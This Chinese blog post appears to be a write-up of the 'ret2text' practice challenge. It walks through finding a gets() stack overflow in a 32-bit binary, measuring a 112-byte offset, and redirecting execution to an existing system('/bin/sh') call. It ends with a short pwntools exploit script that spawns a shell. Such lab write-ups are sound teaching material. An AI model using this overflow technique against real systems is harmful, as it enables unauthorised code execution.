ret2text

作者: KoooOooooK | 来源:发表于2019-10-28 16:59 被阅读0次

    首先检查文件开了哪些保护

    如图,可以看出文件开启了NX,即堆栈不可执行。
    这样就不能把控制IP指向shellcode了。
    检查文件信息

    可以看出是32位的ELF可执行文件。
    运行程序

    可以看出程序流程是接受输入,然后输出文本。

    将程序放入IDA分析。

    可以看到此处有一个gets函数可以接受任意输入长度到栈上。

    利用这一点可以覆盖返回地址

    首先寻找覆盖多少位可以找到返回地址。
    利用cyclic生成200个字符。

    可以看出覆盖到112字节就是返回地址。

    接着,咱们查看一下程序中的字符串信息。

    找到了一个'/bin/sh'

    然后,查看程序导出的函数。

    main函数已经检查过了,只剩下secure函数了。将其反汇编出来。

    看到程序调用了system('/bin/sh'),这意味着,只要将程序流控制到这个地方,就能获取shell。

    所以将0x0804863A覆盖到返回地址。

    编写payload。

    from pwn import *
    
    p = process('./ret2text')
    
    p.sendline('a'*112 + p32(0x0804863A))
    
    p.interactive()
    

    可以看到获得了shell。

    相关文章

      网友评论

        本文标题:ret2text

        本文链接:https://www.haomeiwen.com/subject/uhbbvctx.html